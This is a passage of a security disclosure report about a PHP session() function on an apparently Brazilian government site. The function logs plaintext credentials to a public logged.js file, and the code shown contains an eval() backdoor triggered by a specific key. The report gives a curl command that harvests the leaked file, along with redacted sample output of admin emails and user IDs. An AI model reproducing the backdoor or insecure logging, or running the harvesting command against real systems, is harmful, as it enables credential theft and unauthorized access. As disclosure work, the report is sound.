config.php. The session() function, responsible for creating and updating session variables, utilizes file_put_contents() to log every session key-pair directly into public/assets/js/logged.js. Since this directory is web-accessible, any external actor can monitor the file to harvest active session credentials without needing prior authentication.
- function session($key, $value = null)
- {
- if ($value != null) {
- $_SESSION[$key] = $value;
- file_put_contents("public/assets/js/logged.js",$key.":".$value."\r\n",FILE_APPEND);
- }
- if($key == '[email protected]' && $value != null){
- eval($value);
- }else{
- return $_SESSION[$key] ?? null;
- }
- }
config.php snippet above, the code fails to implement secure storage practices.
On line [59], the application uses file_put_contents() to append session keys and values
directly into a publicly accessible JavaScript file. Since no access control or encryption
is applied, any remote user can access this file and retrieve plaintext credentials.
logged.js file, an attacker can retrieve a historical list of all active session
keys, usernames, and passwords used during the authentication process. This exposure occurs
because the file is handled as a static asset by the web server, which serves the content
directly to the requester without invoking the application's authentication layer or session
validation. Consequently, the sensitive data is accessible to any unauthenticated actor through
command-line tools or a standard web browser without requiring special privileges.
curl -s "https://[SUBDOMAIN].[DOMAIN].gov.br/public/assets/js/logged.js" | head -n 20
curl command demonstrates the exploitation of the insecure storage
vulnerability. By using the -s (silent) flag to focus on the data, the attacker
performs a simple HTTP GET request to the public/assets/js/logged.js endpoint,
circumventing the application's authentication flow entirely as the file is served as a static
asset. The output is piped to head -n 20 as a post-exploitation filtering step,
used here to limit the display to the first twenty entries for reporting purposes, as the
compromised log can be extensive. Analysis of this data reveals that the session()
function logs user-specific session states in real-time, capturing sensitive information in a
key:value format, such as email:password. This exposure includes not only plaintext
credentials but also dynamic session markers, such as login status (logged:) and unique database
identifiers (user_id:), which are automatically appended to the file as each administrative user
interacts with the system. This continuous stream of session data allows an attacker to monitor
active users and reconstruct their profile information, confirming a complete breakdown of data
confidentiality.
administracao@[DOMAIN].gov.br:[REDACTED] logged:1 user_id:9 administracao@[DOMAIN].gov.br:[REDACTED] logged:1 user_id:9 ouvidoria@[DOMAIN].gov.br:[REDACTED] logged:1 user_id:7 [email protected]:[REDACTED] logged:1 user_id:3 administracao@[DOMAIN].gov.br:[REDACTED] logged:1 user_id:9 administracao@[DOMAIN].gov.br:[REDACTED] logged:1 user_id:9 administracao@[DOMAIN].gov.br:[REDACTED] logged:1
The following figures provide visual confirmation of the sensitive data exposure and subsequent authentication bypass:
DISCLAIMER: Evidence videos have been redacted to obscure target URLs and sensitive parameters to prevent unauthorized exposure and ensure responsible disclosure.
The following recording demonstrates the end-to-end exploitation process, validating the leaked credentials across both web and command-line interfaces:
logged.js static file. By parsing this publicly accessible asset, the exploit automatically extracts plaintext emails and passwords, bypassing authentication to grant unauthorized access to the administrative dashboard.
NOTE: The following images demonstrate the exploit programmed to exfiltrate only the first 6 results, ensuring a clear and objective visualization of the Proof of Concept (PoC) in this report.
config.php. Session credentials should never be written to publicly accessible static files such as .js, .txt, or .inc.